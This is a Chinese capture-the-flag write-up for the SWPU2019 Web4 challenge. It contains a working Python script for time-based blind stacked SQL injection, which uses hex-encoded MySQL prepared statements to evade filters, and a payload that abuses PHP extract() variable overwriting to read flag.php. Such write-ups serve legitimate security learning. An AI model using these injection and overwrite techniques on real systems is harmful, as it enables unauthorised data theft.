[SWPU2019]Web4

无论URL还是界面都很有SQL的feeling,,点击注册,发现无法提供注册,使用密码本爆破也失败(应该有过滤)

 

 

 

0x01 抓包

  • 我们账号和密码都输入admin,开始发包和抓包

 

界面很容易让人想起SQL注入,由于登陆没反应,我们直接抓包,因为之前堆叠注入做过几道题(buuctf 极客大挑战),还是比较熟悉判断方法

 

存在堆叠注入的判断方法 : 名称处加单引号报错,加双引号不报错,加单引号和分号不报错,说明存在堆叠注入。

根据判断方法,当我们在 username 输入 admin' 或者 admin;' ,提示报错

 

 

 

当我们在 username 输入:admin 或者 admin’; 报错消失

我们先引来引入php中的PDO知识点

 


 

 

0x02 先来讲一下什么是PDO

https://xz.aliyun.com/t/3950

https://www.runoob.com/php/php-pdo.html

默认是pdo对象的query语句是能执行有;参与的多语句执行的,那我们就能闭合前面的单引号后进行堆叠注入

 

 

 


 

 

 

0x03 由于我们没收到特殊回显和被过滤掉了许多关键字。我们构造的脚本考虑采用十六进制加预处理加上时间盲注进行绕过

 

  • 为什么用十六进制SQL预处理语句+时间盲注来绕过

因为SQL关键字被绕过而且回显并不特别的情况下再加上某些单词如 select,if.sleep 必须使用,盲注考虑后觉得时间盲注可能性比较大

 

  • 时间盲注思路

select if(ascii(substr((select flag from flag),{0},1))={1},sleep(5),1) 

 

{0} 猜测字段的长度 , {1} 是32-128的ascii数值(用来盲注爆破)

 

  • 防止SQL预处理被过滤

    使用16进制

如下

1 mysql> select hex('select sleep(5)');
2 mysql> set @a=0x73656C65637420736C656570283529;
3 mysql> prepare test from @a;
4 mysql> execute test;

 

select sleep(5) 语句可以让mysql服务休息5秒。这里这四句相当于执行了该语句,从而绕过上传被过滤的字符串。

在SQL测试中发现确实可以执行

 

通过mysql预处理与hex绕过过滤来构建脚本

 

#author: c1e4r
import requests
import json
import time
 
def main():
    #题目地址
    url = '''http://ed59e513-784d-42b5-81d0-2c4dc976d086.node3.buuoj.cn/index.php?r=Login/Index'''
    #注入payload
    payloads = "admin';set @a=0x{0};prepare b from @a;execute b--+"
    flag = ''
    for i in range(1,30):
        #查询payload
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(0,128):
            #将构造好的payload进行16进制转码和json转码
            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url = url, data = data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break
 
def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])
 
if __name__ == '__main__':
    main()

 

下载获得的源码 URL+glzjin_wants_a_girl_friend.zip

 

 


 

 

0x04开始对源码进行代码审计

 

前端应用逻辑的基础在 controller 文件夹下面,而其他文件都是基于 basecontroller.php 所以我们打开 basecontroller.php 文件进行代码审计

 1     private $viewPath;
 2     public function loadView($viewName ='', $viewData = [])
 3     {
 4         $this->viewPath = BASE_PATH . "/View/{$viewName}.php";
 5         if(file_exists($this->viewPath))
 6         {
 7             extract($viewData);
 8             include $this->viewPath;
 9         }
10     }
11     
12 }

 

extract 传入 viewdata 数组造成变量覆盖,发现利用 loadView 方法的并且第二个元素可控的地方只有 UserController.php

1 public function actionIndex()
2     {
3         $listData = $_REQUEST;
4         $this->loadView('userIndex',$listData);
5     }

 

在Controller/UserController.php中,找到可控制的参数直接来源于_REQUEST。 由于 $listData = $_REQUEST; 可以控制 到 userIndex.php 文件看看

            <div class="fakeimg"><?php
                if(!isset($img_file)) {
                    $img_file = '/../favicon.ico';
                }
                $img_dir = dirname(__FILE__) . $img_file;
                $img_base64 = imgToBase64($img_dir);
                echo '<img src="' . $img_base64 . '">';       //图片形式展示
                ?></div>

 

这里的$img_file的值可利用前面的逻辑进行覆盖,传入img_file=./../flag.php即可,而又因为下面的路由控制

// 路由控制跳转至控制器
if(!empty($_REQUEST['r']))
{
    $r = explode('/', $_REQUEST['r']);
    list($controller,$action) = $r;
    $controller = "{$controller}Controller";
    $action = "action{$action}";


    if(class_exists($controller))
    {
        if(method_exists($controller,$action))
        {
            //
        }
        else
        {
            $action = "actionIndex";
        }
    }
    else
    {
        $controller = "LoginController";
        $action = "actionIndex";
    }
    $data = call_user_func(array( (new $controller), $action));
} else {
    header("Location:index.php?r=Login/Index");
}

 

上面可以知道我们传入的路由 r-User/Index

 


 

 

0x05 我们构造playload

GET: index.php?r=User/Index

POST: img_file=/../flag.php

 

 

 

 

posted @ 2021-04-15 20:31  原来是甘文川同学  阅读(1146)  评论(0)    收藏  举报